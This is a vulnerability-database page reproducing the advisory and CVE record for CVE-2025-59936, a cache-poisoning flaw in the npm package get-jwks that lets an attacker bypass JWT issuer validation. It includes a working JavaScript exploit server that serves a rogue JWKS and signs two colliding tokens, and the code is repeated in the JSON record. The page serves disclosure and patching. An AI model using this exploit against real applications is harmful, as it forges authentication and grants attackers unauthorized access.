github - ghsa-qc2q-qhf3-235m

GHSA-QC2Q-QHF3-235M

Vulnerability from github – Published: 2025-09-26 14:27 – Updated: 2025-09-29 14:03

Summary

get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass

Details

Summary

A vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism.

Details

When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value.

The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval, which usually is the common case.

PoC

Server code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });

const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://example.com',
});

const app = express();
const port = 3000;

app.use(express.json());

async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Exploit server that generates the JWT pair and send the public RSA key to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}`;
const target_iss = `https://example.com`;

const { publicKey, privateKey } = generateKeyPairSync("rsa",
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
);
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { 
    algorithm: 'RS256', 
    header: {
        kid: "testkid", 
     } });
  res.send(token);
});

// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) => {
    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {
      kid: `testkid:${host}/?`, 
    } });
    res.send(token);
  });

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            kid: 'testkid',
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.use((req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '/.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

The first JWT token will create a cache entry with the chosen public key and have the following format:

RS256:testkid:http://localhost:3001/?:https://example.com

The second JWT has a valid iss, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future iss validations:

RS256:testkid:http://localhost:3001/?:https://example.com

Impact

Applications relying on get-jwks for key retrieval, even with iss validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used.

Solution

Escape each component used in the cache key, so delimiter collisions are impossible.

https://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76

Severity ?

9.4 (Critical)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "get-jwks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-26T14:27:01Z",
    "nvd_published_at": "2025-09-27T01:15:43Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA vulnerability in `get-jwks` can lead to cache poisoning in the JWKS key-fetching mechanism. \n\n### Details\nWhen the `iss` (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted `iss` value.\n\nThe vulnerability will work only if the `iss` validation is done after the use of `get-jwks` for keys retrieval, which usually is the common case. \n\n### PoC\nServer code:\n\n```js\nconst express = require(\u0027express\u0027)\nconst buildJwks = require(\u0027get-jwks\u0027)\nconst { createVerifier } = require(\u0027fast-jwt\u0027)\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: \u0027https://example.com\u0027,\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(\u0027 \u0027)\n  let token = \u0027\u0027;\n  if (headerAuth.length \u003e 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get(\u0027/auth\u0027, verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nExploit server that generates the JWT pair and send the public RSA key to the victim server:\n\n```js\nconst { generateKeyPairSync } = require(\u0027crypto\u0027);\nconst express = require(\u0027express\u0027);\nconst pem2jwk = require(\u0027pem2jwk\u0027);\nconst jwt = require(\u0027jsonwebtoken\u0027);\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}`;\nconst target_iss = `https://example.com`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\",\n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n        privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n    },\n);\nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create cache poisoning token\napp.post(\u0027/create-token-1\u0027, (req, res) =\u003e {\n  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { \n    algorithm: \u0027RS256\u0027, \n    header: {\n        kid: \"testkid\", \n     } });\n  res.send(token);\n});\n\n// Endpoint to create a token with valid iss\napp.post(\u0027/create-token-2\u0027, (req, res) =\u003e {\n    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: \u0027RS256\u0027, header: {\n      kid: `testkid:${host}/?`, \n    } });\n    res.send(token);\n  });\n\napp.get(\u0027/.well-known/jwks.json\u0027, (req, res) =\u003e {\n    return res.json({\n        keys: [{\n            ...jwk,\n            kid: \u0027testkid\u0027,\n            alg: \u0027RS256\u0027,\n            use: \u0027sig\u0027,\n        }]\n    });\n})\n\napp.use((req, res) =\u003e {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + \u0027/.well-known/jwks.json\u0027\n    });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n``` \n\nThe first JWT token will create a cache entry with the chosen public key and have the following format:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\nThe second JWT has a valid `iss`, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future `iss` validations:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\n### Impact\nApplications relying on `get-jwks` for key retrieval, even with `iss` validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used. \n\n### Solution\nEscape each component used in the cache key, so delimiter collisions are impossible.\n\nhttps://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76",
  "id": "GHSA-qc2q-qhf3-235m",
  "modified": "2025-09-29T14:03:51Z",
  "published": "2025-09-26T14:27:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/get-jwks/security/advisories/GHSA-qc2q-qhf3-235m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59936"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/get-jwks/commit/1706a177a80a1759fe68e3339dc5a219ce03ddb9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/get-jwks"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass"
}

CVE-2025-59936 (GCVE-0-2025-59936)

Vulnerability from cvelistv5 – Published: 2025-09-27 00:22 – Updated: 2025-09-29 14:55

Title

get-jwks poisoned JWKS cache allows post-fetch issuer validation bypass

Summary

get-jwks contains fetch utils for JWKS keys. In versions prior to 11.0.2, a vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism. When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value. The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval. This issue has been patched in version 11.0.2.

Severity ?

9.4 (Critical)


                        
                          CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

CWE

CWE-116 - Improper Encoding or Escaping of Output

Assigner

GitHub_M

References

URL

Tags

	https://github.com/nearform/get-jwks/security/adv…	x_refsource_CONFIRM
	https://github.com/nearform/get-jwks/commit/1706a…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	nearform	get-jwks	Affected: < 11.0.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-59936",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-09-29T14:54:57.310485Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-09-29T14:55:22.162Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "get-jwks",
          "vendor": "nearform",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 11.0.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "get-jwks contains fetch utils for JWKS keys. In versions prior to 11.0.2, a vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism. When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value. The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval. This issue has been patched in version 11.0.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_0": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 9.4,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
            "version": "3.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-116",
              "description": "CWE-116: Improper Encoding or Escaping of Output",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-09-27T00:22:10.412Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/nearform/get-jwks/security/advisories/GHSA-qc2q-qhf3-235m",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/nearform/get-jwks/security/advisories/GHSA-qc2q-qhf3-235m"
        },
        {
          "name": "https://github.com/nearform/get-jwks/commit/1706a177a80a1759fe68e3339dc5a219ce03ddb9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nearform/get-jwks/commit/1706a177a80a1759fe68e3339dc5a219ce03ddb9"
        }
      ],
      "source": {
        "advisory": "GHSA-qc2q-qhf3-235m",
        "discovery": "UNKNOWN"
      },
      "title": "get-jwks poisoned JWKS cache allows post-fetch issuer validation bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-59936",
    "datePublished": "2025-09-27T00:22:10.412Z",
    "dateReserved": "2025-09-23T14:33:49.505Z",
    "dateUpdated": "2025-09-29T14:55:22.162Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-QC2Q-QHF3-235M

Summary

Details

PoC

Impact

Solution

CVE-2025-59936 (GCVE-0-2025-59936)

Tags

Sightings

Nomenclature